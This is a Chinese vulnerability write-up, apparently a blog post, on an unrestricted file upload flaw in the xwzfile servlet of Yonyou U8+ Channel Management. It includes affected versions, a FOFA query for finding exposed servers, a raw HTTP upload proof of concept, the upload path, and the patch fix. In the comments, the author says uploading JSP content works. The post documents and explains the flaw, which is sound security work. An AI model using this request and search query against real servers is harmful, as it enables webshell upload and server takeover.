用友U8+渠道管理(高级版) xwzfile 文件上传漏洞


漏洞简介

用友U8+是用友网络科技股份有限公司推出的企业管理综合平台,广泛应用于财务、进销存、人力资源等企业核心业务系统中。在U8+渠道管理(高级版)模块中,存在一处文件上传漏洞,位于其 xwzfile 接口。攻击者可通过构造特定的HTTP请求,将恶意脚本或可执行文件上传至服务器。该漏洞可能导致攻击者在目标服务器上执行任意代码,从而获取服务器控制权限,进一步窃取敏感数据、篡改业务数据或对内网其他系统发起攻击。

影响版本

V18, V16.5, V16.1, V16.0, V15.1, V15.0, V13

fofa语法

title="渠道管理(高级版)"

漏洞分析

根据补丁变化

直接看 UploadWedgeServlet 在那里引用了

    <!-- 新万泽费用报销单附件接口 -->
    <servlet>
        <servlet-name>UploadWedgeServlet</servlet-name>
        <servlet-class>com.gxfcsoft.framework.core.UploadWedgeServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>UploadWedgeServlet</servlet-name>
        <url-pattern>*.xwzfile</url-pattern>
    </servlet-mapping>

ok,根据servlet的映射,任意以.xwzfile 结尾的请求都会经由UploadWedgeServlet 处理,跟进看下它的实现逻辑,看补丁修复也是正则白名单检测

保存文件名为上传的文件原名,无任何其他操作,期间对文件类型和内容无校验或过滤,因此造成任意文件上传漏洞,非常朴实无华!和U8+渠道管理(高级版) imagedo 文件上传漏洞一模一样的漏洞成因!

漏洞复现

POST /temp.xwzfile HTTP/1.1
Host: u8.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="1.PNG"

TEST
------WebKitFormBoundary--

根据getAttachAbsoluteDirectory方法可知

上传位置默认为 /userfile/default/attach/ 目录下,访问上传文件

成功执行我们上传代码

官方补丁修复也很直接,直接正则检测后缀是否为白名单

参考


手机扫码阅读

用友NC ActivityNotice/doSingUp SQL注入漏洞

用友U8+渠道管理(高级版) filedo 文件上传漏洞

评 论
avatar
shadowkillernet
佬,能不能发一下这个文件上传可解析的jsp文件版本的poc,就是图片里的那个
1 年前 回复
avatar
Mrxn
@shadowkillernet:正常jsp后缀加jsp内容即可 没啥特别的
1 年前 回复
avatar
shadowkillernet
@Mrxn:佬,那传png内容可以,解析文件php,jsp响应包403,无法解析是不是就是打补丁了,没洞了
1 年前 回复
avatar
Mrxn
@shadowkillernet:对
1 年前 回复
avatar
HibnHH
@Mrxn:返回这个
{"code":1,"errormsg":"please log in first"}
是需要登陆的意思嘛?
1 年前 回复
avatar
Mrxn
@HibnHH:对
1 年前 回复